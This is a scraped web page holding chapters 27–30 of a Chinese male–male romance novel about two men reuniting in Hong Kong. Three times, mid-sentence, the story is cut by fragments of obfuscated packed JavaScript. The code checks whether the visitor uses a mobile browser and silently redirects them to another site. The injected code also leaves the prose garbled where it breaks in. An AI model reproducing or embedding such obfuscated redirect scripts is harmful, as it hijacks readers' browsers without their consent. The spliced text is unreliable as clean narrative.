“你踏马真的变了!”江扩趁着两唇分开的间隙,咬牙说,“你这六七年 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“你还会害臊呢。”江扩把烟扔到黎念怀中,“只是什么?” “录。”黎念又咳了一声,这才弄了根烟叼在嘴里点燃。 “真的?”江扩笑问,“为什么不做?” “我怕疼,还有洁癖,”黎念说,“你猜他们为什么老是被我气走?” “勉强信。”江扩很傲娇地哼了一声。 一根烟抽完,江扩扭头去看黎念的脸。左边颧骨上的缝痕在月光下愈明显。 “怎么会的?”江扩对那条伤疤皱了皱眉。 “大哥,你想听听这些年我发生什么事儿吗?”黎念抬头笑了笑。 “想。”江扩的语气有些沉重。 黎念叼着烟,掀开旁边的被褥给江扩让出点位置。江扩坐了过去。 “那年我赌气回家,家里人已经订好去美国的机票,我本来不想去的,但是我妈威胁我说不去就上吊死给我看,”黎念说,“我就从家里跑出来了,结果我妈真的去房间嚷着要上吊,救回来之后我只能跟他们一起去美国。” “我也来不及跟你好好道个别。”黎念往江扩那边凑近了点,轻轻捏住江扩的手。 “伤怎么来的?”江扩此刻只关心黎念身上的各种伤疤。 “你说的是这个伤吗?”黎念摸了摸左边颧骨上的缝痕,“去美国之后我适应不了环境,得了挺严重的焦虑症,而我爸妈在唐人街认识几个打麻将的狐朋狗友,成天在房子里打麻将打扑克;有一天我惊恐发作倒在厕所里,正好被水龙头的边缘砸到这儿,流了很多血。” “我本来就有点晕血,惊恐发作之后更晕了,满脸是血跟鬼似的爬出厕所求救,”黎念狠狠吸了一口烟,“结果所有人都只顾着打麻将,没有一个理我的。我也忘了自己晕在家哪个地方,反正是我姐回来之后才看到我,然后才弄我去医院处理伤口。” “惊恐发作是什么?”江扩心疼,用手背蹭了几下黎念左边颧骨的缝痕。 “好像还叫什么急性焦虑,反正一发作就跟要死了一样难受,我这辈子都不想再尝到这种滋味儿。”黎念回答。 27. 第 27 章 “从那个时候开始,我发现这个家根本不属于我,我要报复,”黎念又说,“从那时候开始,我就天天晚上出去鬼混,也不学习了,反正那一片儿的gay吧我都混的特熟,有时候还故意带酒吧认识的男人去家里气我爸妈。” “这我爸拿烟头烫的,”黎念指了指小臂上和脖子上的烫疤,“柜门大开那天,我爸还拿扫帚扇过我,我右耳差点聋了。” “后来成绩太差,被学校劝退了,”黎念继续说,“接到消息之后我爸妈第一时间跟我断绝关系。” 江扩皱了皱眉,一时间没办法接受曾经成绩在贵族学校班里前三,闭眼睛考试都能轻松上香港各种名牌大学的学霸,怎么会成绩差到被美国的高校劝退。 “然后我就回来找你了,”黎念说,“其实我一年前就回来了,找了你一年,上次来G大附近的公寓碰碰运气,没想到真的在路上见到你,别提多高兴了。我还偷偷跟踪你回来呢。” “你这个跟踪狂。”江扩白了黎念一眼。 “我如果不这样,那能找到你吗?”黎念反问。 江扩沉默了。 “我那段时间找不到你,每天浑浑噩噩的,只有去gay吧玩通宵才觉得自己还活着。”黎念说。 江扩心疼,伸手揉了揉黎念的头发。 直到凌晨,江扩才扔下抽完的烟头,躺到黎念身边。 黎念有些亢奋,看起来毫无睡觉的欲望。江扩亦是。 “你是怎么贿赂包租婆的?”江扩偏头看了一眼黎念。 黎念比出一个“五”。 “五千?”江扩整了整被子,往黎念那边盖过去了点,“这就答应了?” “五万。”黎念笑道。 “我草,”江扩吓了一跳,“你哪来的这么多?” “我回来的时候拿了他们的钱,十万,”黎念笑了笑,“我妈去趟商场都要花掉起码十万,这一点钱他们根本没发现。” “那你姐呢?”江扩问。 “她让我回来的,说有空就来看看我呢。”黎念回答。 “你姐还挺好的。”江扩翻了个身搂住黎念的腰。 “一向对我很好。”黎念找到江扩的手牵着。 外面传来几声鸟鸣,大抵是快天亮了。两人都默契的闭着眼,却没睡过去。 “你说当时天天去gay吧是为了气你爸妈,那这次找到我还天天去gay吧鬼混,是为了气我?”江扩越搂越紧,越凑越近。 “不,”黎念摇头,悠悠回答道,“当报复成了常态,那些报复行为都会变成习惯,到你想改了也改不了。” “那你改不改?”江扩凑到黎念耳旁,语气强硬问道。 “......”黎念委屈地吸了吸鼻子,“改。” 江扩这才满意,用鼻尖蹭了蹭黎念的耳廓。 “咱们现在算是在一起了吧。”黎念转过头用嘴唇轻轻回应着江扩。 “嗯。”江扩回答。 “不,”黎念说,“一段刻骨铭心的爱情应该从一句告白和一束花开始,咱们还没告白和送花呢。” “告白已经听过了。”江扩说。 “啥时候的事?我怎么不知道?”黎念有点懵。 “很多年前,你在海边趁我睡觉。”江扩笑了一声。 “哦!”黎念恍然大悟,“你踏马原来装睡!” “海边那么吵,我哪睡得着。”江扩白了黎念一眼。 “也是。”黎念干笑几声,突然感到有点尴尬。 两人直到五六点才先后睡了过去。 隔天上午江扩要上课。 “今天有准备去哪吗?”江扩问坐在沙发写小说的黎念。 “好像也没哪,”黎念说,“可能要去健身房吧,好久没去了。” “不许去,”江扩立马板起脸,“要去健身房必须跟我一起。” “不放心我啊?”黎念放下电脑,挑起眉看着江扩。 “你今天哪都不许去,在家好好待着,”江扩哼了一声,“我得帮你好好改一下这个出街浪荡的坏习惯,今天我锁门。” “那做饭呢?我不用买菜吗?”黎念委屈地吸了吸鼻子。 “以后我做饭。”江扩匆匆撇下一句后关门走了。 黎念对着江扩离开的那扇门傻乐好久,又继续埋头跟个大文豪似的疯狂码字。 中午,江扩上完课直接跑去G大食堂吃午餐,完全没有记起冰箱里存着的肉菜早在昨天吃完了。 黎念疯狂码完一章小说,已经是中午。肚子也合时宜地响了。 进了窄死人的厨房,打开冰箱才发现里面只剩下两个鸡蛋。 “草。”黎念骂了一声,又走到门口试着拉了下门。 江扩说到做到,不知道用的什么方法把外边闩上了,把好不容易找到的男朋友锁到家中孤苦伶仃。 “你这个毒夫。”黎念骂骂咧咧回到沙发坐着。 饿得实在不行,黎念才回到厨房拿出俩鸡蛋,随便煮熟了吃。 江扩下午买了一袋东西,捧着一束玫瑰回来,开了门便看见跟条死尸似的趴在门口地上的黎念。 这时江扩才想起昨晚黎念说的惊恐发作,心跳漏了一拍。扔下花束猛地冲到死尸旁边蹲下。 伸出手指放在死尸鼻子前面,还有气儿。 “我草,不会是死了吧?”江扩颤颤巍巍拿出手机正想叫救护车。 “嗯,是的,”黎念眼睛还是闭着,“被自己的男朋友饿死了。” 江扩扔下手机,长长松了口气。 “你大爷的,又骗我!”江扩骂骂咧咧揪着黎念的一边耳朵晃了几下,“给我起来!” “疼。”黎念哀嚎。 “起来。”江扩黑着脸说。 黎念这才不情不愿地爬起来,在地上坐着。 “脏不脏?”江扩重新捧起地上的玫瑰,“我已经一个月没有拖地了。” “给我的?”黎念看见江扩手里的一大束玫瑰,眼前一亮。 “是的,”江扩轻轻踢了踢地上的黎念,“站起来接,你这样我不给你。” 黎念笑眯眯从地上爬起来,在江扩面前站好。 “你不是说要告白和花嘛,我这都买了。”江扩说。 “告白呢?”黎念挑眉。 江扩一手放在喉结上,清了清嗓子。 “亲爱的黎大福。”江扩开了个头。 “我不叫黎大福!”黎念急了。 “亲爱的黎念,”江扩笑了一声,“我非常非常喜欢你,十年前就喜欢你了,但那时我是个怂货。” 黎念红了眼眶。 “但是十年后我不想当怂货了,我要好好爱你,不会再让你跟之前一样不辞而别。”江扩如十年前一般,抬手轻轻揉了揉黎念的头。 十年前黎大福的头发邋邋遢遢乱成鸡窝,十年后烫成了精致的狼尾卷发,发尾染成浅蓝色,但手感依旧柔顺舒服。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722007|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黎念终于忍不住扑到江扩身上,两行泪打湿江扩的衬衫。 “大哥,我好感动,我真的好感动,”黎念靠在江扩肩窝闷声说, “我在美国那段时间,如果没有想到你还在香港,我可能早就死了。” 太好了。黎念好像变了,又好像没有。 江扩不知不觉跟黎念紧紧抱住几乎有一个钟,江扩手机里的邮箱来信声音响了,这才放开对方各自查看手机的消息。 江扩开了邮箱,置顶的未查看邮件是美国某所知名高校的回复。 “这啥啊?”黎念凑过来看。 “不是什么重要的。”江扩点了已读,把手机塞回裤兜。 “我姐说下个星期要回来。”黎念把Whatsapp的聊天框拿给江扩看。 “那好。”江扩点头。 “你知道我姐叫啥吗?”黎念笑眯眯放回手机。 “不是黎多财吗?”江扩说,“她不会也改名儿了吧?” “嗯,叫黎徊,”黎念回答,“徘徊的徊。” “黎徊,黎徊,”江扩重复了几遍,“这名字挺文艺的,还是用白话念更好听。” “猜是谁取的。”黎念一脸自豪。 “一看就知道是你,你这个大文豪。”江扩笑了一声。 “那必须的。”黎念一只手捂着有点眩晕的头,一边回答道。 “怎么了?”江扩皱眉。 “饿。”黎念捧着玫瑰,慢吞吞走到沙发坐下。 江扩这才想起冰箱只剩俩鸡蛋,敢情黎念中午真的啥都没吃。 “中午吃了吗?”江扩问。 “有,”黎念回答,“俩鸡蛋都被我吃了,还是很饿。” “走吧,你男朋友今晚准备请你吃好吃的。”江扩笑道。 “吃啥?”黎念问。 “去歌赋街,吃牛腩。”江扩把黎念扶起来。 “九记牛腩那家吗?”黎念边走边说,“挺出名的,以前我姐也带我去吃过,然后偶遇几个明星。” 离开前,黎念瞥了一眼茶几上的玫瑰,绕过去捧起来。 “你拿它干什么?”江扩说,“拿着怪麻烦的。” “不要,我就要拿着。”黎念把花抱在怀里,才发现江扩买了袋东西放在茶几上。 “这啥?”黎念正要过去碰,被江扩拉住了。 “今晚看。”江扩拽着好奇心十足的黎念出了门。 不久两人到了中环歌赋街,九记牛腩外边排着一列长队,看着都能犯头晕的那种。 “这么多人!”黎念揉了揉太阳穴,“我要饿死了。” “先去找点东西填肚子。”江扩说。 两人只好在附近找了个面包店,买了个西点和甜牛奶。香港的物价最近真是涨的离谱。 出了面包店,江扩手机的电话铃声响了。江扩塞给黎念一个面包和牛奶,自己转身接电话。 “喂哥!”江收在那边捂着嘴巴大喊,“你在哪?” “九记牛腩,”江扩说,“咩事啊?” “别,你别过来。”江扩啧了一声。 这可是他跟黎念在一起之后第一次出街吃,他可不想被打扰。 江收打死不听,出了地铁马上往这边赶过来,刚好碰上九记牛腩门前一行排队中间的江扩跟黎念。 “黎大福!”江收走到黎念面前上下打量,啧啧称奇,“怎么会有这么像的人,神奇神奇。” 江扩一脸无奈。 28. 第 28 章 “他就是黎大福。”江扩说。 江收悟了,倒是黎念一直对长发飘飘带着圆框眼镜,颇有律师气质的江收目瞪口呆。 “这是江收?!”黎念猛地转头看着江扩。 “嗯,未来的大律师。”江扩笑道。 “过奖。”江收嘻嘻一笑,这才和以前的假小子有几分相似。 前面九记牛腩店里有一桌人偷带宠物被凶神恶煞的老板发现,赶了出来后,终于空出一张桌位。 三人走了进去,在那张空桌位坐下。 “还需不需要心理咨询师?”江收对跟黎念腻歪在一起的江扩问,“他让你一个礼拜去一次。” “不了。”江扩说。 “你还真看了?”黎念挑起眉。 “谁叫你一上来就骗我,还带男人去房里过夜,”江扩假装拧了一下黎念的大腿,“我还以为我精神错乱了呢。” “我再也不骗你了嘛。”黎念假装抬手抹眼泪。 “那可不,你是不知道我哥这些年等你等得多辛苦,你可不能再渣他,”江收托腮,“你俩可得给我过好日子,让我也嗑一嗑。” 江扩咳了一声,用眼神暗示江收闭嘴。黎念一瞬间有些内疚。 店里的伙计终于端了三碗牛腩面过来。 吃了一半,江收手|机|铃|声响了,只好腾出一只手来接听。 半晌,江收挂了电话。 “我得先走了,事务所边有事儿,叫我回去帮忙呢。”江收加快速度把牛腩吃完。 “事务所?”黎念嘴里叼着一块牛腩,抬头问道。 “嗯,江收在那实习,当助理。”江扩说。 江收走了之后,剩下江扩和黎念过二人世界。 “我想去健身房。”黎念扯来纸巾擦嘴。 “明天去。”江扩板起脸说,“为什么非要去健身房,你这身材还不够好吗?这腰不也很细。” 说罢江扩忍不住掐了掐黎念的细腰。 “你知道我为什么要去健身房吗?”黎念笑嘻嘻道。 “知道啊,”江扩拖长音,“那有帅哥。” “我看他们干什么?”黎念凑到江扩耳边吹气,“你还不够帅吗?你这脸我能看一个周末。” “哦?一个周末?”江扩看了黎念一眼。 “一年。”黎念清了清嗓子说。 “哦?一年?这就腻了?”江扩冷笑。 “一辈子好了吧。”黎念啧了一声。 “那你去健身房干啥?”江扩无奈道。 “想听?”黎念歪头笑了笑。 “赶紧说。”江扩佯装不耐烦道。 “六七年前你拒绝我的时候,我觉得可能是我的魅力不够,”黎念一本正经道,“所以之后我拼命健身,打扮自己,拍了几次拖提升恋爱经验,为的就是找到你之后能成功勾引你。” “哼,”江扩白了黎念一眼,“你现在说话一股渣味儿。” “我说的是实话。”黎念狡辩。 “回家!”江扩扇了一下黎念的后脑勺。 结完账走出九记牛腩,前面走过来一个男人,跟黎念的目光对上了。 黎念的神情突然间有点怪异。 “做咩啊?”江扩皱眉看了黎念一眼。 黎念正要开口,那男人竟然先过来打招呼了。 “好巧,你也在这吃啊,”男人打量一下江扩,“新男朋友啊?这应该是第十二个了吧。” 江扩的脸瞬间黑下来,揪着还想寒暄几句的黎念快步走出这条街。 “那人是谁?”江扩松开揪着黎念衣领的手。 “之前的男朋友。”黎念见怀里的花有几朵皱了,心疼地整了整花束。 “那你还跟他讲话。”江扩的语气掷地有声。 “我只是跟他解释一下。”黎念解释。 “解释什么?解释我不是你的第十二个男朋友吗?”江扩气急败坏,抛下黎念往前走了几步。 黎念急了,冲上来环住江扩的手,头在江扩胳膊上蹭了蹭。如果黎念是只猫,这会估计已经在小声打呼噜。 这一动作让江扩气消了不少,终于满脸嫌弃慢下来和黎念并肩走路。 不料两人好巧不巧又经过一间酒吧。酒吧屋檐上挂着夺目的彩虹旗,让人一看就知道这是间同志酒吧。 黎念之前是这家酒吧的常客,刚回香港那会经常来这消遣。 黎念下意识瞥了酒吧门口一眼。 “不许看。”江扩咬牙切齿罢,一只手捂住黎念的双眼。 “我看不到路了。”黎念哀嚎。 “有我扶着。”江扩黑着脸说。 这时酒吧的门被推开,好巧不巧又出来几个跟黎念有过交集的男人,并且眼尖地看到黎念的标志性狼尾卷发和染成浅蓝色的发尾。 几人吹了声口哨。 “Michael,出来玩啊?”几人说,“这没猜错的应该是第十二个男朋友,一起进来喝酒啊。” “我记得Michael有一次喝醉酒,车大炮(吹牛)说要找满一百个男朋友,这还没到终点呢。”另外一个男人笑道。 “收声啊!”江扩扭头就是一声怒吼,吓得几人缩了缩脖子不敢再开口。 剩下的路程,江扩脸色阴沉打死不说话,把急得抓耳挠腮的黎念晾在旁边。 “你都听见他说我是喝醉的了,喝醉说话能信吗?”黎念又是一声哀嚎。 “酒后吐真言。”江扩看了黎念一眼。 “是酒后胡言。”黎念急了。 “酒后乱性。”江扩又说。 “不可能,酒后性功能不正常。”黎念反驳道。 江扩继续加快步伐,把黎念甩在后面。 “大哥~”黎念又使出必杀技,当街撒娇。 “叫爸爸也没用。”江扩哼了一声。 “大爷!”黎念带着哭腔喊道。 “没用。”江扩继续板着脸。 黎念脑里灵光一现,凑到江扩耳旁。江扩皱眉,偏了偏头。 “老公。”黎念在江扩耳旁软糯糯叫了一声,“这样有用吗?” 江扩心里一时悸动,脚步顿了顿。 “我真是你第十二个男朋友?”江扩慢悠悠道。 黎念沉默良久,最后伸出一只手认真数了数。 江扩再次被激怒,趁黎念数数跑上公寓按了电梯。黎念终于被彻底甩在后面。 出了电梯,江扩又趁黎念还没上来,进了出租屋锁上门。 “大哥!开门!”黎念在外面敲门。 江扩瞥了门一眼,拿出白纸和水笔,开始在上面写字。 “大哥!江扩!爸爸!老公!”黎念又喊了几句。 江扩忍着笑没有回应。 外面没了声音。 江扩正想偷偷走过去查看情况,门口传来钥匙声。门一下开了。 “哈,想不到吧,我有钥匙。”黎念笑嘻嘻提着钥匙环晃了晃。 “草。”江扩骂了一声。 “您自个就先消气吧,我洗澡去咯。”黎念把花束放到茶几,步履轻快进了房间。 拿衣服的时候,黎念看了看手上的内|裤,脑子灵光一现又把内|裤抛到床上。 出了客厅,黎念偷偷瞥了江扩一眼,径直进了厕所关门。 江扩对着厕所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722008|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的门咽了一下口水,继续埋头写东西。 厕所传来水声,与此同时门开了,探出黎念半个身。 “大哥,我底裤没拿。”黎念委委屈屈对江扩说。 “自己拿。”江扩语气冰冷道。 “不行~”黎念撒娇,“没穿衣服,我害羞。” “说自己要找满一百个男朋友那会儿,怎么没见你说害羞。”江扩一通阴阳怪气罢,这才起身给黎念找内|裤。 还好床上放着一条现成的,压根不用找。 江扩捡起内|裤,走到厕所。 “快洗,我也要洗了。”江扩板着脸把内|裤递给黎念。 “大哥,”黎念接过内|裤,“这么赶时间,要不咱俩一起洗吧。” “不行。”江扩忍着底裤小了一码的冲动,直接拒绝了。 “为什么,一起洗节约水资源,还节省时间,这不好吗?”黎念又把门拉开一点,不该看的地方若隐若现。 “我可是你的第十二个男朋友,这种好事能轮得到我?”江扩阴阳怪气道,“这不得让你初恋男友来。” “你气儿还没消啊?都这么久了。”黎念探出手去摸江扩的大黑脸。 “哼。”江扩黑着脸回到沙发。 刚好一张针对黎念的不平等条约也写好了。整张纸都是江扩的繁体字,字体歪七扭八仿佛蚊虫变异。 江扩伸了个懒腰,点了根白万宝路在沙发独自抽着。 下午买的一袋东西还原封不动在茶几上放着。 半晌,黎念终于头上披着浴巾从浴室里走出来。 “老公。”黎念还想撒娇。 “过来,签字。”江扩给出一个简短的命令。 “什么?”黎念走到条约旁边俯身一看,“我靠,这是中文吗?” “看不懂?”江扩弹了弹烟灰。 “看得懂。”黎念啧了一声,又仔细研究上面的蚊虫变异字体,“你字怎么变成这样了?” “少废话,看完签字。”江扩不耐烦道。 黎念眯眼从第一行看起。 “不许去gay吧,健身房必须有江扩陪伴;必须在香港时间22:00前回家,有事耽搁需报备;不许酗酒,不许酗什么?可乐?是可乐吧......不许和前男友讲半句话;不许......”黎念越念越尴尬。 “有身体不适必须第一时间告诉江扩,不许熬夜过度,不许在三更半夜看球赛......”黎念继续往下读。 “署名,黎念的第十二个男朋友江扩。”黎念读完心里不太滋味。 “能签吗?”江扩歪了歪头。 黎念凝视江扩,良久深深吸了口气。 “能。”黎念回答。 江扩闷不做声把一支笔推到黎念面前。黎念拿起笔,在签名的位子写下自己的名字。 “怎么感觉跟办了结婚证一样呢?”黎念嘀咕道。 “你办过?”江扩哼了一声。 “没,但是感觉应该差不多。”黎念签完名,把笔还给江扩。 江扩把纸藏起来,也收回笔。 黎念这时才看到茶几上的一袋东西,处于好奇心伸手拖过来看。拉开塑料袋的结。 江扩张了张嘴没说话。 “我靠,这什么时候买的?”黎念脸色涨红。 “下午买花的时候,”江扩说,“昨天晚上实在失败,你又老是喊疼,今天我还是觉得得买点润滑什么的。” 黎念捂住大红脸连续啧了好几下。 “试试?”江扩笑了一声,“我看了教程,这次应该不会那么生疏。” “好。”黎念感觉自己声音都沙哑了。 29. 第 29 章 一番惊天动地的翻云覆雨过后,两人双双躺在床上休息。 “我有个问题。”黎念看着乌漆麻黑的天花板说。 “什么?”江扩问。 “这门不是被你砸塌了吗?到底什么时候修好?”黎念翻过身对着江扩。 “不用修,省钱。”江扩忍着笑说。 “那到时候我姐来了怎么办,到时候她要是从那儿走过来,”黎念指着门口,有模有样学着黎徊的尖叫,“啊啊啊啊!我真草了......你俩干啥?!” 江扩终于憋不住,噗嗤一声。黎念见成功把江扩逗乐,也翻了个身捂着肚子嗤嗤发笑。 “诶,我也有个问题,”江扩说,“你那,还会疼吗?” “会啊,”黎念直说,“全身都疼,你给我按吧。” “按哪?”江扩懵了。 “小腿,用那姿势真的特别酸,”黎念啧了一声,“不然按哪?” “那你不是说按。”江扩狡辩不下去了。 两人对视,下一秒同时笑出猪叫。 “来吧,你的第十二个男朋友为你效劳。”江扩擦干笑出来的眼泪,起来给黎念效劳。 黎念翻了个身趴着,开始不知羞耻使唤自己的第十二个男朋友。 “这酸,”黎念舒服地叹了口气,“啊对对对,这,还有右边小腿的筋,那叫一个酸啊。” “下次站着,就不酸了。”江扩随口一说。 “啊?”黎念枕在枕头上的脸红了,“那不也酸吗?” “我站着,你坐着,或者抱我。”江扩一边按,一边吐出一大串荤词儿。 “怎么坐?”黎念脸更红了。 “浴室那不是有个洗手盆,你往那儿一坐,可带劲。”江扩笑了一声。 “这才多久啊,怎么连你也变涩了?”黎念感叹道。 “一向如此,只是你不知道。”江扩故意掐了一下黎念的小腿,黎念仰起头一声长长的哀嚎。 听得江扩又差点忍不住扑上去再耍一次流氓,还好最后忍住了。 隔天周六,俩人睡到自然醒。 “来吧,看。”江扩睁眼见到黎念,第一句就让黎念摸不着头脑。 “看啥?”黎念整了整乱成鸡窝的狼尾卷发。 “看我,你说要看一个周末的。”江扩说。 “大哥,你是不是分不清‘能’和‘要’?”黎念无奈,“G大文学院的硕士生,连这个都分不清,真特么佩服。” “今天要干什么?”江扩从床上爬起来。 “码字,”黎念说,“我可是某出版社的签约作家,不写小说赚不到钱啊。” “你都写的什么?”江扩有点好奇。 “俩男人的爱情故事。”黎念说罢,不知从哪掏出笔记本电脑,开了机便是一通风驰电掣的敲键盘。 江扩想起上次唱片公司要的歌词,到房里找来一支口琴,也开始一边吹一边作词。 黎念听见口琴的声音,惊讶地转过头来。 “什么时候会这个的?”黎念眼前一亮。 “三年前,刚接触歌词那阵,”江扩没有停下,“快码你的小说吧,大文豪。” 黎念盯着江扩迷死人的侧脸欣赏了好一会,才继续埋头写耽美小说。 歌词写了一半江扩便写不下去,放下口琴。坐到黎念旁边点了根烟。 “可累死我了,给我一根。”黎念伸出一只手。 江扩从烟盒里抽出一根放到黎念手上,黎念接过烟叼着。 “有没有发现?”江扩突然问。 “发现啥?”黎念把拿过煤油打火机把烟点燃。 “这几天,我一直抽你的白万宝路。”江扩晃了晃烟盒,邪魅一笑。 “我靠,还真的是!”黎念说,“您自己没有吗?” “是的,完了。”江扩弹了弹烟灰。 “您是什么时候变得这么抠门的?”黎念揶揄道。 “您搞错了,我一向抠门。”江扩笑了一声。 “嘁。”黎念继续埋头码小说。 一根烟抽完,江扩凑过去看黎念的文。黎念正在写甜甜的男男日常,一边写还一边偷笑,丝毫没有注意到身后的江扩正在越凑越近。 “我有个问题。”江扩说。 听见头上突然传来低沉的声音,可把黎念吓了一跳。 “你可吓死我!”黎念微愠,转而又问,“什么问题?” “你每次谈恋爱,都是为了写小说有灵感对吧?”江扩问,“我不会也是给你提供小说灵感的工具吧?” “想啥呢。”黎念干笑几声。 “我看看你的小说。”江扩摊出一只手。 黎念看了一眼江扩的手,便直接把自己一只手放了上去。 “电脑。”江扩啧了一声。 黎念犹豫片刻,才把自己的笔记本电脑交到江扩手里。 江扩慢慢往下滑,仔细看了一遍。 “不错。”江扩闭了闭眼,才把笔记本塞回给黎念。 “还是有很多不足的,毕竟在那地方呆了那么多年,中文多多少少会有点退步,”黎念笑道,“还好我们住在唐人街,那儿讲中文的多。” “要不要试试申请去G大文学院旁听?”江扩问。 “可以吗?”黎念愣了愣。 “可以,”江扩说,“你这样的人才,可别浪费了。” “那必须好!”黎念乐了。 晚上吃完饭,江扩带黎念到附近的健身房。 “条约的内容还记得不。”江扩看了一眼黎念。 “记得。”黎念委屈巴巴地吸了吸鼻子。 “遇到帅哥怎么办?”江扩问。 “揍他!”黎念挥起拳头。 “照你这么说,家里的镜子一天能让你锤爆好几次。”江口忍着笑说。 “过奖。”黎念挠了挠头。 这时浴室刚好出来一个男人,黎念虽然在第十二个男朋友的监督下并没有上前拈花惹草的欲望,但此刻他的gay达还是不受控制的响了。 仔细想想,香港确实挺多的。 “你知道怎么做。”江扩低头按了几下跑步机的按钮加速。 黎念也跟着加速。 那男人估计也是gay达响了,拿毛巾擦干脖子上的汗水,过来就要搭讪。 这是黎念第一次拒绝一个同类,难免有点磕磕巴巴。换做一前人家刚上来,黎念估计早就拿出手机交换联系方式了。 那男人见黎念不为所动,只好悻悻走开。 “这人你应该不认识了吧。”江扩扭头瞥了黎念一眼。 “不认识,但他好像在酒吧跳过舞。”黎念回答。 “跳舞的你都认识?”江扩翻了个白眼。 “我都说不认识,人家主持人介绍的。”黎念啧了一声。 俩人在健身房撸铁,直到十点过才回家。 “今晚健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722009|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身这么久一定牛逼不少,”黎念轻轻掐了掐江扩的胳膊,“今晚试试。” “连续三晚你不用休息?”江扩拒绝,“今晚不行。” 黎念委屈地吸了吸鼻子。 回了家江扩把黎念房间的破门搬到玄关倚着,黎念的被褥以及各种床上用品都移到隔壁江扩房间。 两人在这时可以算得上是真正意义上的同居了。 “门什么时候修好?”黎念杵在旁边问江扩。 “这么着急干什么?你住我房间,这个破门又用不上。”江扩把黎念的衣服一件件挂进衣橱,一边说。 “我就怕哪天吵架你把我锁房间外边儿,到时候我还能到隔壁房间凑合凑合。”黎念说。 “那也是,”江扩憋着笑回答,“我明天就叫人来修门,到时候你就到隔壁房间凑合吧。” “没人性。”黎念哼了一声。 两人很早便洗漱完上|床睡觉。黎念换了床,一时有点难以入睡。 “大哥。”黎念偷偷凑过去。 “干嘛?”江扩睁开一只眼睛。 “唱歌给我听。”黎念说,“我睡不着啊。” “唱什么?”江扩睁开两只眼睛。 “啥都行。”黎念说。 “有只雀仔跌落水,跌落水,跌落水,有只雀仔跌落水,被水冲去......”江扩憋着笑唱道。 “这首不行。”黎念皱眉。 “你说啥都行的。”江扩不耐烦了。 “唱张国荣的吧。”黎念笑道。 “简单。”江扩坐起来,从床头柜拿来手机,拨了黎念的电话。 “喔喔喔,无心睡眠,喔喔喔,脑交战~” “忧郁奔向冷的天,撞落每点小雨点,张开口似救生圈......” “这歌太带劲,听得我想去酒吧跳舞。”黎念悠悠道。 江扩马上挂断电话,黑着脸瞪了黎念一眼。 “你敢。”江扩咬着牙说。 “我不敢。”黎念笑道。 江扩生闷气,扯过被子翻了个身背对着黎念。 “大哥,我开玩笑的。”黎念轻咬了一下江扩的耳朵。 江扩没有理。 “我真不去了。”黎念带着哭腔说。 江扩抬起一只手捂住自己的耳朵。 “老公。”黎念又在耳边软糯糯喊道。 江扩捂住耳朵的手控制不住地放下,转头看了一眼黎念。 “睡觉!”江扩轻轻揉了揉黎念的头。 隔天黎念依旧做一个苦逼码字人,江扩还要弄学校的作业。这个周末就这样过去。 周一江扩没有课,便陪黎念去G大办理旁听手续。原本两人还以为复杂,没想到一天就办好了。 “同个班吗?”黎念问江扩。 “不是,但不远。”江扩仔细看了下黎念的旁听证,上面照片非常靓仔。 回家路上,两人选了很久没坐到叮叮车做交通工具。坐在靠窗的位置。 “你在美国那段时间,上的什么大学?”江扩搂住黎念的肩膀。 “SU。”黎念低头整了整衣摆。 “什么?!”江扩皱眉,“然后被那么牛逼的大学退学了?” “嗯。”黎念回答。 “不想再说美国的事,”黎念靠到江扩胳膊上,“江扩,我想起那些事会不舒服。” “不说了。”江扩一只手伸出窗外,风还挺凉。 30. 第 30 章 旁听手续成功办完,黎念终于不用在家孤苦伶仃。隔天早上便收拾好东西随江扩一起去G大上课。 两人坐地铁到了G大。 “我要是上课想你了怎么办?”黎念凑到江扩耳边,冷不丁蹦出句肉麻的话。 “认真听课,”江扩拿手指弹了一下黎念的额头,“你这旁听手续可不是大风刮来的。” 黎念觉得疼痛,趴在江扩胳膊上哼哼唧唧,江扩根本不理。 “草。”黎念见江扩看都不看自己,骂了一声后跑着离开了。 江扩盯着黎念跑开的背影,心里在窃喜。 然而这喜悦还没维持多久,就被一通电话给震没了。 江扩看了手机屏幕上的备注,不情不愿按了接听。 “喂?”江扩语气平淡喊道,“爸,怎么了。” “给你介绍个对象。”江广荣叼着一根雪茄。 “哦?男的还是女的?”江扩挑眉。 “那肯定是女的,我能给你介绍男的?”江广荣笑了一声。 “第一,我说过我喜欢男人,”江扩叹了口气,“第二,就算你给我介绍个男的,我也不会同意,因为我已经有男朋友了。” “你不会真以为香港会有这种莫名其妙的婚姻法吧?”江广荣不耐烦了,狠狠吐出一口烟。 “谁告诉你一段感情就一定要靠婚姻维持?”江扩反驳,“当时你跟我妈办了结婚证,不也是阻止不了你找小三儿?” 那边的声音安静了好久。 